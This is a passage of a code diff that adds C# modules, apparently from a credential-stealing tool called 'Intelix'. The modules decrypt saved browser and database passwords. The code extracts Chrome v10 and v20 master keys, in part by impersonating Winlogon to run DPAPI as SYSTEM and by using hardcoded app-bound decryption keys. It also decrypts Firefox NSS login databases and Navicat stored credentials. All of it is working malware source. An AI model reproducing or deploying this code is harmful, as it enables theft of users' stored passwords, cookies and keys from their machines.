{
|
||||
LittleEndian(array2[k] + array[k], array3, k * 4);
|
||||
}
|
||||
return array3;
|
||||
}
|
||||
|
||||
private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d)
|
||||
{
|
||||
a += b;
|
||||
d ^= a;
|
||||
d = Rol(d, 16);
|
||||
c += d;
|
||||
b ^= c;
|
||||
b = Rol(b, 12);
|
||||
a += b;
|
||||
d ^= a;
|
||||
d = Rol(d, 8);
|
||||
c += d;
|
||||
b ^= c;
|
||||
b = Rol(b, 7);
|
||||
}
|
||||
|
||||
private static uint Rol(uint x, int n)
|
||||
{
|
||||
return (x << n) | (x >> 32 - n);
|
||||
}
|
||||
|
||||
private static uint ToUInt32Little(byte[] bs, int off)
|
||||
{
|
||||
return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24));
|
||||
}
|
||||
|
||||
private static void LittleEndian(uint v, byte[] outbuf, int off)
|
||||
{
|
||||
outbuf[off] = (byte)(v & 0xFF);
|
||||
outbuf[off + 1] = (byte)((v >> 8) & 0xFF);
|
||||
outbuf[off + 2] = (byte)((v >> 16) & 0xFF);
|
||||
outbuf[off + 3] = (byte)((v >> 24) & 0xFF);
|
||||
}
|
||||
|
||||
private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output)
|
||||
{
|
||||
if (input == null || input.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int i = 0;
|
||||
uint num = counter;
|
||||
int num2;
|
||||
for (; i < input.Length; i += num2)
|
||||
{
|
||||
byte[] array = ChaCha20Block(key, num, nonce);
|
||||
num++;
|
||||
num2 = Math.Min(64, input.Length - i);
|
||||
for (int j = 0; j < num2; j++)
|
||||
{
|
||||
output[i + j] = (byte)(input[i + j] ^ array[j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext)
|
||||
{
|
||||
int num = ((aad != null) ? aad.Length : 0);
|
||||
int num2 = ((ciphertext != null) ? ciphertext.Length : 0);
|
||||
int num3 = (16 - num % 16) % 16;
|
||||
int num4 = (16 - num2 % 16) % 16;
|
||||
byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8];
|
||||
int num5 = 0;
|
||||
if (num > 0)
|
||||
{
|
||||
Buffer.BlockCopy(aad, 0, array, num5, num);
|
||||
num5 += num;
|
||||
}
|
||||
if (num3 > 0)
|
||||
{
|
||||
num5 += num3;
|
||||
}
|
||||
if (num2 > 0)
|
||||
{
|
||||
Buffer.BlockCopy(ciphertext, 0, array, num5, num2);
|
||||
num5 += num2;
|
||||
}
|
||||
if (num4 > 0)
|
||||
{
|
||||
num5 += num4;
|
||||
}
|
||||
byte[] bytes = BitConverter.GetBytes((ulong)num);
|
||||
byte[] bytes2 = BitConverter.GetBytes((ulong)num2);
|
||||
Buffer.BlockCopy(bytes, 0, array, num5, 8);
|
||||
num5 += 8;
|
||||
Buffer.BlockCopy(bytes2, 0, array, num5, 8);
|
||||
num5 += 8;
|
||||
return array;
|
||||
}
|
||||
|
||||
private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg)
|
||||
{
|
||||
byte[] array = new byte[16];
|
||||
Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16);
|
||||
array[3] &= 15;
|
||||
array[7] &= 15;
|
||||
array[11] &= 15;
|
||||
array[15] &= 15;
|
||||
array[4] &= 252;
|
||||
array[8] &= 252;
|
||||
array[12] &= 252;
|
||||
byte[] array2 = new byte[16];
|
||||
Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16);
|
||||
BigInteger bigInteger = new BigInteger(AppendZero(array));
|
||||
BigInteger bigInteger2 = new BigInteger(AppendZero(array2));
|
||||
BigInteger bigInteger3 = (BigInteger.One << 130) - 5;
|
||||
BigInteger bigInteger4 = BigInteger.Zero;
|
||||
for (int i = 0; i < msg.Length; i += 16)
|
||||
{
|
||||
int num = Math.Min(16, msg.Length - i);
|
||||
byte[] array3 = new byte[num];
|
||||
Buffer.BlockCopy(msg, i, array3, 0, num);
|
||||
BigInteger bigInteger5 = new BigInteger(AppendZero(array3));
|
||||
BigInteger bigInteger6 = BigInteger.One << 8 * num;
|
||||
bigInteger5 += bigInteger6;
|
||||
bigInteger4 += bigInteger5;
|
||||
bigInteger4 = bigInteger4 * bigInteger % bigInteger3;
|
||||
}
|
||||
byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray();
|
||||
byte[] array5 = new byte[16];
|
||||
for (int j = 0; j < 16 && j < array4.Length; j++)
|
||||
{
|
||||
array5[j] = array4[j];
|
||||
}
|
||||
return array5;
|
||||
}
|
||||
|
||||
private static byte[] AppendZero(byte[] b)
|
||||
{
|
||||
byte[] array = new byte[b.Length + 1];
|
||||
Buffer.BlockCopy(b, 0, array, 0, b.Length);
|
||||
array[array.Length - 1] = 0;
|
||||
return array;
|
||||
}
|
||||
|
||||
private static bool FixedTimeEquals(byte[] a, byte[] b)
|
||||
{
|
||||
if (a == null || b == null || a.Length != b.Length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < a.Length; i++)
|
||||
{
|
||||
num |= a[i] ^ b[i];
|
||||
}
|
||||
return num == 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class CngDecryptor
|
||||
{
|
||||
private const int NCRYPT_SILENT_FLAG = 64;
|
||||
|
||||
public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
|
||||
{
|
||||
IntPtr phProvider = IntPtr.Zero;
|
||||
IntPtr phKey = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
|
||||
}
|
||||
num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
|
||||
}
|
||||
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
|
||||
}
|
||||
byte[] array = new byte[pcbResult];
|
||||
num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
|
||||
if (num != 0)
|
||||
{
|
||||
throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
|
||||
}
|
||||
Array.Resize(ref array, pcbResult);
|
||||
return array;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (phKey != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.NCryptFreeObject(phKey);
|
||||
}
|
||||
if (phProvider != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.NCryptFreeObject(phProvider);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class DpApi
|
||||
{
|
||||
private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct
|
||||
{
|
||||
cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)),
|
||||
dwPromptFlags = 0,
|
||||
hwndApp = IntPtr.Zero,
|
||||
szPrompt = null
|
||||
};
|
||||
|
||||
public static byte[] Decrypt(byte[] bCipher)
|
||||
{
|
||||
NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob);
|
||||
NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob);
|
||||
NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob);
|
||||
string ppszDataDescr = string.Empty;
|
||||
GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned);
|
||||
pDataIn.cbData = bCipher.Length;
|
||||
pDataIn.pbData = gCHandle.AddrOfPinnedObject();
|
||||
try
|
||||
{
|
||||
if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = new byte[pDataOut.cbData];
|
||||
Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData);
|
||||
return array;
|
||||
}
|
||||
finally
|
||||
{
|
||||
gCHandle.Free();
|
||||
if (pDataOut.pbData != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(pDataOut.pbData);
|
||||
}
|
||||
if (pOptionalEntropy.pbData != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(pOptionalEntropy.pbData);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Sql;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class LocalEncryptor
|
||||
{
|
||||
public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey)
|
||||
{
|
||||
byte[] array = new byte[0];
|
||||
if (sql.ReadTable("meta"))
|
||||
{
|
||||
for (int i = 0; i < sql.GetRowCount(); i++)
|
||||
{
|
||||
if (sql.GetValue(i, 0).Equals("local_encryptor_data"))
|
||||
{
|
||||
array = Encoding.Default.GetBytes(sql.GetValue(i, 1));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10"));
|
||||
if (num == -1)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array2 = new byte[96];
|
||||
Array.Copy(array, num + 3, array2, 0, 96);
|
||||
byte[] array3 = new byte[12];
|
||||
Array.Copy(array2, 0, array3, 0, 12);
|
||||
int num2 = array2.Length - 12 - 16;
|
||||
byte[] array4 = new byte[num2];
|
||||
Array.Copy(array2, 12, array4, 0, num2);
|
||||
byte[] array5 = new byte[16];
|
||||
Array.Copy(array2, array2.Length - 16, array5, 0, 16);
|
||||
byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5);
|
||||
if (BitConverter.ToInt32(array6, 0) == 538050824)
|
||||
{
|
||||
byte[] array7 = new byte[32];
|
||||
Array.Copy(array6, 4, array7, 0, 32);
|
||||
return array7;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static int FindByteSequence(byte[] src, byte[] pattern)
|
||||
{
|
||||
int num = src.Length - pattern.Length + 1;
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
if (src[i] != pattern[0])
|
||||
{
|
||||
continue;
|
||||
}
|
||||
int num2 = pattern.Length - 1;
|
||||
while (num2 >= 1 && src[i + num2] == pattern[num2])
|
||||
{
|
||||
if (num2 == 1)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
num2--;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class LocalState
|
||||
{
|
||||
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV10 = new ConcurrentDictionary<string, Lazy<byte[]>>();
|
||||
|
||||
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV20 = new ConcurrentDictionary<string, Lazy<byte[]>>();
|
||||
|
||||
private static readonly ConcurrentDictionary<string, SemaphoreSlim> _locks = new ConcurrentDictionary<string, SemaphoreSlim>();
|
||||
|
||||
public static List<string[]> GetMasterKeys()
|
||||
{
|
||||
List<string[]> list = new List<string[]>();
|
||||
foreach (KeyValuePair<string, Lazy<byte[]>> item in _masterKeyCacheV10)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = item.Key ?? "";
|
||||
Lazy<byte[]> value = item.Value;
|
||||
if (value == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] value2 = value.Value;
|
||||
if (value2 != null)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(value2.Length * 2);
|
||||
byte[] array = value2;
|
||||
foreach (byte b in array)
|
||||
{
|
||||
stringBuilder.Append(b.ToString("X2"));
|
||||
}
|
||||
list.Add(new string[3]
|
||||
{
|
||||
text,
|
||||
"v10",
|
||||
stringBuilder.ToString()
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
foreach (KeyValuePair<string, Lazy<byte[]>> item2 in _masterKeyCacheV20)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text2 = item2.Key ?? "";
|
||||
Lazy<byte[]> value3 = item2.Value;
|
||||
if (value3 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] value4 = value3.Value;
|
||||
if (value4 != null)
|
||||
{
|
||||
StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2);
|
||||
byte[] array = value4;
|
||||
foreach (byte b2 in array)
|
||||
{
|
||||
stringBuilder2.Append(b2.ToString("X2"));
|
||||
}
|
||||
list.Add(new string[3]
|
||||
{
|
||||
text2,
|
||||
"v20",
|
||||
stringBuilder2.ToString()
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
public static byte[] MasterKeyV20(string localstate)
|
||||
{
|
||||
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
|
||||
orAdd.Wait();
|
||||
try
|
||||
{
|
||||
if (_masterKeyCacheV20.TryGetValue(localstate, out var value))
|
||||
{
|
||||
return value.Value;
|
||||
}
|
||||
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV20(localstate));
|
||||
_masterKeyCacheV20[localstate] = lazy;
|
||||
return lazy.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
orAdd.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] ComputeMasterKeyV20(string localstate)
|
||||
{
|
||||
try
|
||||
{
|
||||
Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\"");
|
||||
if (!match.Success)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray()));
|
||||
switch (blobParsedData.Flag)
|
||||
{
|
||||
case 1:
|
||||
return AesGcm256.Decrypt(new byte[32]
|
||||
{
|
||||
179, 28, 110, 36, 26, 200, 70, 114, 141, 169,
|
||||
193, 250, 196, 147, 102, 81, 207, 251, 148, 77,
|
||||
20, 58, 184, 22, 39, 107, 204, 109, 160, 40,
|
||||
71, 135
|
||||
}, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
|
||||
case 2:
|
||||
return ChaCha20Poly1305.Decrypt(new byte[32]
|
||||
{
|
||||
233, 143, 55, 215, 244, 225, 250, 67, 61, 25,
|
||||
48, 77, 194, 37, 128, 66, 9, 14, 45, 29,
|
||||
126, 234, 118, 112, 212, 31, 115, 141, 8, 114,
|
||||
150, 96
|
||||
}, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag);
|
||||
case 3:
|
||||
{
|
||||
byte[] array = new byte[32]
|
||||
{
|
||||
204, 248, 161, 206, 197, 102, 5, 184, 81, 117,
|
||||
82, 186, 26, 45, 6, 28, 3, 162, 158, 144,
|
||||
39, 79, 178, 252, 245, 155, 164, 183, 92, 57,
|
||||
35, 144
|
||||
};
|
||||
byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey);
|
||||
for (int i = 0; i < array2.Length; i++)
|
||||
{
|
||||
array2[i] ^= array[i];
|
||||
}
|
||||
return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
|
||||
}
|
||||
case 32:
|
||||
return blobParsedData.EncryptedAesKey;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] MasterKeyV10(string localstate)
|
||||
{
|
||||
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
|
||||
orAdd.Wait();
|
||||
try
|
||||
{
|
||||
if (_masterKeyCacheV10.TryGetValue(localstate, out var value))
|
||||
{
|
||||
return value.Value;
|
||||
}
|
||||
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV10(localstate));
|
||||
_masterKeyCacheV10[localstate] = lazy;
|
||||
return lazy.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
orAdd.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] ComputeMasterKeyV10(string localstate)
|
||||
{
|
||||
try
|
||||
{
|
||||
Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\"");
|
||||
if (!match.Success)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray());
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] CDecryptor(byte[] encryptedData)
|
||||
{
|
||||
using (ImpersonationHelper.ImpersonateWinlogon())
|
||||
{
|
||||
return CngDecryptor.Decrypt(encryptedData);
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] DecryptAsSystemUser(byte[] encryptedData)
|
||||
{
|
||||
using (ImpersonationHelper.ImpersonateWinlogon())
|
||||
{
|
||||
encryptedData = DpApi.Decrypt(encryptedData);
|
||||
}
|
||||
return DpApi.Decrypt(encryptedData);
|
||||
}
|
||||
|
||||
private static string LocalStateContent(string localstate)
|
||||
{
|
||||
string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
|
||||
File.Copy(localstate, text, overwrite: true);
|
||||
string result = File.ReadAllText(text);
|
||||
File.Delete(text);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class NSSDecryptor
|
||||
{
|
||||
public struct SECItem
|
||||
{
|
||||
public int Type;
|
||||
|
||||
public IntPtr Data;
|
||||
|
||||
public int Len;
|
||||
}
|
||||
|
||||
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
private static extern int NSS_Init(string configdir);
|
||||
|
||||
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
private static extern int NSS_Shutdown();
|
||||
|
||||
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);
|
||||
|
||||
public static bool Initialize(string profilePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = "C:\\Program Files\\Mozilla Firefox";
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string environmentVariable = Environment.GetEnvironmentVariable("PATH");
|
||||
environmentVariable = environmentVariable + ";" + text;
|
||||
Environment.SetEnvironmentVariable("PATH", environmentVariable);
|
||||
return NSS_Init(profilePath) == 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static string Decrypt(string base64)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = Convert.FromBase64String(base64);
|
||||
if (array.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
SECItem data = new SECItem
|
||||
{
|
||||
Data = Marshal.AllocHGlobal(array.Length),
|
||||
Len = array.Length,
|
||||
Type = 0
|
||||
};
|
||||
Marshal.Copy(array, 0, data.Data, array.Length);
|
||||
SECItem result = default(SECItem);
|
||||
int num = PK11SDR_Decrypt(ref data, ref result, 0);
|
||||
Marshal.FreeHGlobal(data.Data);
|
||||
if (num != 0 || result.Data == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array2 = new byte[result.Len];
|
||||
Marshal.Copy(result.Data, array2, 0, result.Len);
|
||||
return Encoding.UTF8.GetString(array2);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Navicat11Cipher
|
||||
{
|
||||
private Blowfish blowfishCipher;
|
||||
|
||||
protected byte[] StringToByteArray(string hex)
|
||||
{
|
||||
return (from x in Enumerable.Range(0, hex.Length)
|
||||
where x % 2 == 0
|
||||
select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();
|
||||
}
|
||||
|
||||
protected void XorBytes(byte[] a, byte[] b, int len)
|
||||
{
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
a[i] ^= b[i];
|
||||
}
|
||||
}
|
||||
|
||||
public Navicat11Cipher()
|
||||
{
|
||||
byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 };
|
||||
using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
|
||||
sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length);
|
||||
blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash);
|
||||
}
|
||||
|
||||
public string DecryptString(string ciphertext)
|
||||
{
|
||||
byte[] array = StringToByteArray(ciphertext);
|
||||
byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray();
|
||||
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
|
||||
byte[] array3 = new byte[0];
|
||||
int num = array.Length / blowfishCipher.BlockSize;
|
||||
int num2 = array.Length % blowfishCipher.BlockSize;
|
||||
byte[] array4 = new byte[blowfishCipher.BlockSize];
|
||||
byte[] array5 = new byte[blowfishCipher.BlockSize];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize);
|
||||
Array.Copy(array4, array5, blowfishCipher.BlockSize);
|
||||
blowfishCipher.Decrypt(array4, Blowfish.Endian.Big);
|
||||
XorBytes(array4, array2, blowfishCipher.BlockSize);
|
||||
array3 = array3.Concat(array4).ToArray();
|
||||
XorBytes(array2, array5, blowfishCipher.BlockSize);
|
||||
}
|
||||
if (num2 != 0)
|
||||
{
|
||||
Array.Clear(array4, 0, array4.Length);
|
||||
Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2);
|
||||
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
|
||||
XorBytes(array4, array2, blowfishCipher.BlockSize);
|
||||
array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray();
|
||||
}
|
||||
return Encoding.UTF8.GetString(array3);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Hashing;
|
||||
using Intelix.Helper.Sql;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class NssDumpMasterKey
|
||||
{
|
||||
public static byte[] Key4Database(string path)
|
||||
{
|
||||
Asn1Der asn1Der = new Asn1Der();
|
||||
SqLite sqLite = SqLite.ReadTable(path, "metaData");
|
||||
if (sqLite == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
for (int i = 0; i < sqLite.GetRowCount(); i++)
|
||||
{
|
||||
if (sqLite.GetValue(i, 0) != "password")
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1));
|
||||
byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2));
|
||||
if (bytes.Length < 1 || bytes2.Length < 1)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2);
|
||||
string text = asn1DerObject.ToString();
|
||||
if (text == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (text.Contains("2A864886F70D010C050103"))
|
||||
{
|
||||
byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
|
||||
byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data;
|
||||
if (array == null || array2 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute();
|
||||
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!text.Contains("2A864886F70D01050D"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
|
||||
byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data;
|
||||
byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data;
|
||||
if (array3 == null || array4 == null || array5 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute();
|
||||
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
sqLite = SqLite.ReadTable(path, "nssPrivate");
|
||||
if (sqLite != null)
|
||||
{
|
||||
int num = 0;
|
||||
if (num < sqLite.GetRowCount())
|
||||
{
|
||||
byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6));
|
||||
Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5);
|
||||
byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute();
|
||||
byte[] array6 = new byte[24];
|
||||
Array.Copy(sourceArray, array6, array6.Length);
|
||||
return array6;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static byte[] Key3Database(string path)
|
||||
{
|
||||
byte[] array = File.ReadAllBytes(path);
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
Asn1Der asn1Der = new Asn1Der();
|
||||
BerkeleyDB berkeleyDB = new BerkeleyDB(array);
|
||||
string text = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Key.Equals("password-check");
|
||||
}).Select(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Value;
|
||||
}).FirstOrDefault();
|
||||
if (text == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
text = text.Replace("-", null);
|
||||
int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2;
|
||||
string hexString = text.Substring(6, num);
|
||||
int num2 = text.Length - (6 + num + 36);
|
||||
string hexString2 = text.Substring(6 + num + 4 + num2);
|
||||
string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Key.Equals("global-salt");
|
||||
}).Select(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Value;
|
||||
}).FirstOrDefault();
|
||||
if (text2 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
text2 = text2.Replace("-", null);
|
||||
TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString));
|
||||
tripleDes.ComputeVoid();
|
||||
if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check"))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text3 = (from p in berkeleyDB.Keys
|
||||
where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check")
|
||||
select p.Value).FirstOrDefault();
|
||||
if (text3 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
text3 = text3.Replace("-", "");
|
||||
Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3));
|
||||
